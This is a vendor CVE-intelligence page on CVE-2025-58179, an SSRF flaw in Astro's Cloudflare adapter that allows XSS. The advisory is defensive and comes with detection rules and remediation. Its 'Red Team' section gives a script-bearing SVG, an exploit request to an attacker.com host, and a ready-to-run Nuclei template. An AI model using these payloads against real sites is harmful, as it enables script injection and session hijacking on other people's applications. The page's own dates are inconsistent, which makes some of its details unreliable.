☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Astro logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58179

CVE-2025-58179 is a Server-Side Request Forgery (SSRF) vulnerability affecting the `@astrojs/cloudflare` adapter for the Astro web framework (versions 11.
📅 PUBLISHED: 2025-09-04 23:36 UTC 🔄 UPDATED: 2026-10-02 19:32 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.83%
👁️
0.83% probability
20.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58179 is a Server-Side Request Forgery (SSRF) vulnerability affecting the @astrojs/cloudflare adapter for the Astro web framework (versions 11.0.3 through 12.6.5). When configured with output: 'server' and the default imageService: 'compile', the image optimization endpoint fails to validate URLs, allowing an attacker to bypass third-party domain restrictions and serve arbitrary content from unauthorized origins. This can be leveraged to deliver malicious SVG files containing JavaScript, leading to Cross-Site Scripting (XSS) attacks. The vulnerability has a CVSS score of 7.2 (High) and a public proof-of-concept (PoC) via a Nuclei template.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in the @astrojs/cloudflare npm package, which is a first-party adapter for deploying Astro applications on Cloudflare's infrastructure. The package is widely used in the Astro ecosystem. The fix is available in version 12.6.6. Organizations using Astro with Cloudflare should immediately audit their package.json and package-lock.json files for affected versions and update to the patched version. No known malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 7.2 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit with a single HTTP request and can lead to XSS, data exfiltration, and session hijacking.

Deep Dive & Mechanics

The vulnerability lies in the image optimization endpoint generated by the @astrojs/cloudflare adapter when using the default compile image service. The endpoint at /_image accepts a href parameter specifying the source URL of an image to optimize. Due to insufficient validation, the endpoint does not restrict the href to allowed domains (e.g., the application's own origin or a configured CDN). An attacker can supply a URL pointing to an external server hosting a malicious SVG file.

The Cloudflare adapter then fetches this URL server-side, processes the image, and serves the result to the client. If the fetched content is an SVG with embedded JavaScript (e.g., <script>alert(document.domain)</script>), the browser will execute the script in the context of the vulnerable origin, enabling XSS.

The root cause is a missing or insufficient URL whitelist check in the image optimization handler. The fix in version 12.6.6 adds proper validation to ensure only trusted domains are allowed.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In @astrojs/cloudflare adapter (v12.6.5 and below)
async function handleImageOptimization(request) {
  const url = new URL(request.url);
  const href = url.searchParams.get('href');
  // No validation of href domain
  const image = await fetch(href);
  return new Response(image.body, { headers: { 'Content-Type': image.headers.get('content-type') } });
}

Patched Code (Conceptual):

// In @astrojs/cloudflare adapter (v12.6.6)
const ALLOWED_DOMAINS = ['yourdomain.com', 'cdn.yourdomain.com'];

async function handleImageOptimization(request) {
  const url = new URL(request.url);
  const href = url.searchParams.get('href');
  const parsedHref = new URL(href);
  
  if (!ALLOWED_DOMAINS.includes(parsedHref.hostname)) {
    return new Response('Forbidden', { status: 403 });
  }
  
  const image = await fetch(href);
  return new Response(image.body, { headers: { 'Content-Type': image.headers.get('content-type') } });
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target Astro application using @astrojs/cloudflare adapter (v11.0.3 to v12.6.5) with output: 'server' and default image service.
  • A publicly accessible server to host a malicious SVG file.

Exploit Steps:

  1. Create a malicious SVG file (e.g., xss.svg) containing:
    <svg xmlns="http://www.w3.org/2000/svg">
      <script type="text/javascript">
        alert(document.domain);
      </script>
    </svg>
    
  2. Host the SVG on your server (e.g., https://attacker.com/xss.svg).
  3. Send the following request to the vulnerable Astro application:
    GET /_image?href=https://attacker.com/xss.svg&f=svg HTTP/1.1
    Host: target-astro-app.com
    
  4. The server fetches the SVG, serves it with Content-Type: image/svg+xml, and the browser executes the script.

Nuclei Template (Provided):

id: CVE-2025-58179

info:
  name: Astro Cloudflare Adapter - Server Side Request Forgery
  author: HoangAnhThai
  severity: high
  description: |
    Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare's infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.
  impact: |
    Unauthenticated attackers can bypass third-party domain restrictions to serve arbitrary content from unauthorized domains through the image optimization endpoint, potentially enabling XSS attacks.
  remediation: |
    Upgrade Astro's @astrojs/cloudflare adapter to version 12.6.6 or later that properly validates image URLs.
  reference:
    - https://github.com/withastro/astro/commit/9ecf359
    - https://github.com/advisories/GHSA-qpr4-c339-7vq8
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58179
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2025-58179
    epss-score: 0.00429
    epss-percentile: 0.62568
    cwe-id: CWE-918
    cpe: cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: withastro
    product: astro
  tags: cve,cve2025,ssrf,xss,astro,cloudflare,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script type="text/javascript'
          - 'alert(document.domain);'
        condition: and

      - type: word
        part: content_type
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200

Blue Team

Detection & Response:

  1. Monitor HTTP logs for requests to /_image with suspicious href parameters pointing to external domains.
  2. Inspect response headers for Content-Type: image/svg+xml when the request URL contains f=svg.
  3. Deploy WAF rules to block requests to /_image where the href parameter does not match a whitelist of allowed domains.
  4. Use the provided YARA/Sigma rules (see Detection Engineering) to identify exploitation attempts in logs or network traffic.

Indicators of Compromise (IOCs)

  • URL Pattern: /_image?href=<external-url>&f=svg
  • HTTP Request: GET request to /_image with href pointing to an external domain.
  • Response Content-Type: image/svg+xml
  • Response Body: Contains <script> tags or other executable content.
  • External Domains: Any domain not belonging to the application's trusted origins.

Detection Engineering

YARA Rule

rule CVE_2025_58179_Astro_SSRF {
   meta:
      description = "Detects SSRF exploitation attempts against Astro Cloudflare adapter"
      author = "Valters IT"
      date = "2025-04-10"
      reference = "CVE-2025-58179"
   strings:
      $url_pattern = "/_image?href="
      $svg_param = "&f=svg"
      $script_tag = "<script"
   condition:
      $url_pattern and $svg_param and $script_tag
}

Sigma Rule

title: CVE-2025-58179 Astro Cloudflare Adapter SSRF Exploitation
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the Astro image optimization endpoint with external URLs
author: Valters IT
date: 2025-04-10
logsource:
   category: webserver
   product: generic
detection:
   selection:
      cs-uri-query|contains: "/_image?href="
      cs-uri-query|contains: "&f=svg"
   condition: selection
falsepositives:
   - Legitimate use of external image sources (if allowed by configuration)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58179 Astro Cloudflare Adapter SSRF Exploitation"; flow:to_server,established; content:"/_image?href="; http_uri; content:"&f=svg"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade @astrojs/cloudflare to version 12.6.6 or later.
  2. Restrict the /_image endpoint using a Web Application Firewall (WAF) to only allow requests with href parameters pointing to trusted domains.
  3. Disable the image optimization endpoint if not required, or switch to a different image service that validates URLs.

Long-term Measures:

  • Implement strict input validation for all URL parameters.
  • Use a Content Security Policy (CSP) to mitigate XSS impact.
  • Regularly audit dependencies for known vulnerabilities.
  • Monitor logs for anomalous requests to image endpoints.

Valters IT Signature:

---
Valters IT
Advanced Cyber Threat Intelligence
CVE-2025-58179 Analysis
Date: 2025-04-10
Classification: HIGH
Status: PATCH AVAILABLE
---

{/* [Security Hash: 32BC5EA28838F6D006F0DA42] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58179/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.